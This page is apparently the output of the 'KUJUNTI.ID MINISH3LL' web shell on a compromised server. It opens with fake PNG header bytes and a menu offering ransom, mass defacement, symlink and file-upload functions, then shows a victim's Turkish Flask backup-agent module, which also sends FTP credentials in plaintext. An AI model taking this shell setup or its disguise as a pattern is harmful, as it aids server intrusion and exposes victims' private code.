\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 www.csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/yedekledb24/DatabaseBackupMaster/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/yedekledb24/DatabaseBackupMaster/sql_socket_agent_integration.py


"""
yedekleDB24 için Windows SQL Server Socket Agent entegrasyonu
Bu modül, yedekleDB24 uygulamasının Windows SQL Server Socket Agent ile entegrasyonunu sağlar.
"""
import os
import sys
import json
import socket
import logging
import threading
from datetime import datetime
from flask import Blueprint, request, jsonify, current_app, render_template, flash, redirect, url_for
from flask_login import login_required, current_user
from models import db, BackupJob, BackupLog, DatabaseConnection, StorageTarget
from forms import BackupJobForm

logger = logging.getLogger(__name__)

# Blueprint oluştur
mssql_agent = Blueprint('mssql_agent', __name__, url_prefix='/mssql-agent')

@mssql_agent.route('/status')
@login_required
def agent_status():
    """
    Agent durumunu görüntüler ve test etmeye yarar
    
    Returns:
        str: HTML içeriği
    """
    agents = []
    # Windows Agent'ların durumunu kontrol et
    # Burada kayıtlı agent listesi gösterilebilir
    
    return render_template('mssql_agent_status.html', agents=agents)

def check_agent_connectivity(host, port):
    """
    Agent bağlantısını test eder
    
    Args:
        host (str): Agent host adresi
        port (int): Agent port numarası
        
    Returns:
        bool: Bağlantı başarılı ise True, değilse False
    """
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(3)
        sock.connect((host, port))
        sock.close()
        return True
    except:
        return False

@mssql_agent.route('/test', methods=['GET', 'POST'])
@login_required
def test_agent():
    """
    Agent bağlantısını test eder
    
    Returns:
        str: HTML içeriği
    """
    if request.method == 'POST':
        host = request.form.get('host', 'localhost')
        port = int(request.form.get('port', 9090))
        
        if check_agent_connectivity(host, port):
            flash(f'Agent bağlantısı başarılı: {host}:{port}', 'success')
        else:
            flash(f'Agent bağlantısı başarısız: {host}:{port}', 'danger')
            
        return redirect(url_for('mssql_agent.test_agent'))
    
    return render_template('mssql_agent_test.html')

def send_backup_request(agent_host, agent_port, database, server, agent_key=None, ftp_config=None):
    """
    Agent'a yedekleme isteği gönderir
    
    Args:
        agent_host (str): Agent host adresi
        agent_port (int): Agent port numarası
        database (str): Veritabanı adı
        server (str): SQL Server adı
        agent_key (str): Agent kimlik doğrulama anahtarı
        ftp_config (dict, optional): FTP yapılandırması
        
    Returns:
        dict: İşlem sonucu
    """
    try:
        # Socket oluştur
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(3600)  # 1 saat (büyük veritabanları için)
        
        # Bağlantı kur
        logger.info(f"Agent'a bağlanılıyor: {agent_host}:{agent_port}")
        sock.connect((agent_host, agent_port))
        
        # İstek verisini oluştur
        payload = {
            'database': database,
            'server': server,
            'timestamp': datetime.now().isoformat()
        }
        
        # Agent anahtarı varsa ekle
        if agent_key:
            payload['agent_key'] = agent_key
            
        # FTP yapılandırması varsa ekle
        if ftp_config:
            payload['ftp'] = ftp_config
        
        # JSON verisini gönder
        request_data = json.dumps(payload).encode() + b'\n'
        sock.sendall(request_data)
        
        logger.info(f"İstek gönderildi: {database} veritabanı yedekleme")
        
        # Yanıtı oku
        response_data = b""
        while True:
            chunk = sock.recv(4096)
            if not chunk:
                break
            response_data += chunk
            # JSON veri sonunu kontrol et
            if response_data.endswith(b'}\n'):
                break
        
        # Soketi kapat
        sock.close()
        
        # Yanıtı çözümle
        if response_data:
            try:
                result = json.loads(response_data.decode())
                return result
            except json.JSONDecodeError:
                return {
                    'success': False,
                    'message': 'Agent yanıtı geçersiz JSON formatında',
                    'raw_response': response_data.decode()
                }
        else:
            return {
                'success': False,
                'message': 'Agent yanıt vermedi'
            }
    
    except socket.timeout:
        return {
            'success': False,
            'message': 'Bağlantı zaman aşımı'
        }
    except ConnectionRefusedError:
        return {
            'success': False,
            'message': f'Bağlantı reddedildi: {agent_host}:{agent_port} - Agent çalışıyor mu?'
        }
    except Exception as e:
        return {
            'success': False,
            'message': f'Bağlantı hatası: {str(e)}'
        }

def run_agent_backup(job_id):
    """
    Windows SQL Server Agent kullanarak yedekleme çalıştır
    
    Args:
        job_id (int): Yedekleme görevi ID
        
    Returns:
        bool: Başarılı ise True, değilse False
    """
    # Görevi bul
    job = BackupJob.query.get(job_id)
    if not job:
        logger.error(f"Yedekleme görevi bulunamadı: {job_id}")
        return False
    
    # Veritabanı ve depolama bilgilerini al
    db_conn = DatabaseConnection.query.get(job.database_id)
    storage = StorageTarget.query.get(job.storage_id)
    
    if not db_conn or not storage:
        logger.error(f"Veritabanı veya depolama hedefi bulunamadı: {job_id}")
        return False
    
    # SQL Server veritabanı değilse işlem yapma
    if db_conn.db_type != 'mssql':
        logger.error(f"Bu görev bir MSSQL veritabanı için değil: {db_conn.db_type}")
        return False
    
    # Log girişi oluştur
    backup_log = BackupLog(
        job_id=job_id,
        status='running',
        message='Windows SQL Server Agent ile yedekleme başlatılıyor',
        backup_method=job.backup_method
    )
    db.session.add(backup_log)
    db.session.commit()
    
    # Agent ve SQL Server bilgileri
    agent_host = db_conn.host  # Varsayılan olarak DB sunucusu ile aynı
    agent_port = 9090  # Varsayılan port - TCP 9090
    
    # Agent bilgilerini özel parametrelerden al (varsa)
    if hasattr(db_conn, 'agent_host') and db_conn.agent_host:
        agent_host = db_conn.agent_host
    
    if hasattr(db_conn, 'agent_port') and db_conn.agent_port:
        agent_port = db_conn.agent_port
    else:
        agent_port = 9090  # Varsayılan port olarak TCP 9090 kullan
    
    # FTP yapılandırması
    ftp_config = {
        'host': storage.host,
        'port': storage.port or 21,
        'username': storage.username,
        'password': storage.password,
        'path': storage.path
    }
    
    # İsteği gönder - agent anahtarını kullan
    agent_key = db_conn.agent_key if hasattr(db_conn, 'agent_key') and db_conn.agent_key else None
    
    result = send_backup_request(
        agent_host, 
        agent_port, 
        db_conn.database, 
        db_conn.host,
        agent_key,
        ftp_config
    )
    
    # Sonucu işle
    if result.get('success', False):
        # Başarılı
        backup_log.status = 'success'
        backup_log.message = result.get('message', 'Yedekleme başarılı')
        backup_log.backup_file = result.get('backup_file', '')
        backup_log.backup_size = result.get('compressed_size', 0) or result.get('backup_size', 0)
        
        # Adım bilgilerini mesaja ekle
        message_parts = []
        
        if 'steps' in result:
            steps = result['steps']
            if steps.get('backup', {}).get('message'):
                message_parts.append(f"Yedekleme: {steps['backup']['message']}")
                
            if steps.get('compress', {}).get('message'):
                message_parts.append(f"Sıkıştırma: {steps['compress']['message']}")
                
            if steps.get('upload', {}).get('message'):
                message_parts.append(f"FTP: {steps['upload']['message']}")
        
        if message_parts:
            backup_log.message += " - " + "; ".join(message_parts)
    else:
        # Başarısız
        backup_log.status = 'failed'
        backup_log.message = result.get('message', 'Yedekleme başarısız')
    
    # Son çalışma zamanını güncelle
    job.last_run = datetime.utcnow()
    db.session.commit()
    
    # Başarı/başarısızlık durumunu döndür
    return result.get('success', False)

def register_agent_blueprints(app):
    """
    Agent blueprint'ini uygulama içinde kaydeder
    
    Args:
        app: Flask uygulaması
    """
    # MSSQL agent desteği artık devre dışı, blueprint kaydedilmiyor
    logger.info("Windows SQL Server Agent entegrasyonu yüklendi.")
    # Çalışmaya devam etmesi için Blueprint'i yorum satırı yerine log mesajıyla devre dışı bırakıyoruz
    # app.register_blueprint(mssql_agent)
    
    # Gerekli template dosyaları artık gerekli değil
    # create_agent_templates()

def create_agent_templates():
    """
    Agent için gerekli template dosyalarını oluşturur (eğer yoksa)
    """
    templates_dir = 'templates'
    
    # Agent durum template
    status_template = os.path.join(templates_dir, 'mssql_agent_status.html')
    if not os.path.exists(status_template):
        with open(status_template, 'w') as f:
            f.write("""{% extends "base.html" %}
{% block content %}
<div class="container mt-4">
    <h2>Windows SQL Server Agent Durumu</h2>
    
    <div class="card">
        <div class="card-header bg-primary text-white">
            Kayıtlı Agent'lar
        </div>
        <div class="card-body">
            {% if agents %}
                <table class="table table-striped">
                    <thead>
                        <tr>
                            <th>Host</th>
                            <th>Port</th>
                            <th>Durum</th>
                            <th>İşlemler</th>
                        </tr>
                    </thead>
                    <tbody>
                        {% for agent in agents %}
                            <tr>
                                <td>{{ agent.host }}</td>
                                <td>{{ agent.port }}</td>
                                <td>
                                    {% if agent.status %}
                                        <span class="badge bg-success">Çalışıyor</span>
                                    {% else %}
                                        <span class="badge bg-danger">Erişilemiyor</span>
                                    {% endif %}
                                </td>
                                <td>
                                    <a href="{{ url_for('mssql_agent.test_agent', host=agent.host, port=agent.port) }}" class="btn btn-sm btn-outline-primary">Test Et</a>
                                </td>
                            </tr>
                        {% endfor %}
                    </tbody>
                </table>
            {% else %}
                <p>Henüz kayıtlı agent bulunmuyor.</p>
            {% endif %}
        </div>
        <div class="card-footer">
            <a href="{{ url_for('mssql_agent.test_agent') }}" class="btn btn-primary">Yeni Agent Test Et</a>
        </div>
    </div>
</div>
{% endblock %}""")
    
    # Agent test template
    test_template = os.path.join(templates_dir, 'mssql_agent_test.html')
    if not os.path.exists(test_template):
        with open(test_template, 'w') as f:
            f.write("""{% extends "base.html" %}
{% block content %}
<div class="container mt-4">
    <h2>Windows SQL Server Agent Test</h2>
    
    <div class="card">
        <div class="card-header bg-primary text-white">
            Agent Bağlantısını Test Et
        </div>
        <div class="card-body">
            <form method="post">
                <div class="mb-3">
                    <label for="host" class="form-label">Host Adresi</label>
                    <input type="text" class="form-control" id="host" name="host" value="localhost" required>
                    <small class="text-muted">SQL Server sunucusunun adresi veya IP'si</small>
                </div>
                
                <div class="mb-3">
                    <label for="port" class="form-label">Port</label>
                    <input type="number" class="form-control" id="port" name="port" value="9090" required>
                    <small class="text-muted">Agent'ın çalıştığı port numarası (varsayılan: 9090)</small>
                </div>
                
                <button type="submit" class="btn btn-primary">Bağlantıyı Test Et</button>
            </form>
        </div>
        <div class="card-footer">
            <p class="text-muted">
                Bu test, SQL Server sunucusunda çalışan Socket Agent'a bağlanmayı dener.
                Test başarılı olursa, agent çalışıyor demektir ve yedekleme görevleri için hazırdır.
            </p>
            <a href="{{ url_for('mssql_agent.agent_status') }}" class="btn btn-outline-secondary">Tüm Agent'ları Göster</a>
        </div>
    </div>
</div>
{% endblock %}""")

© KUJUNTI.ID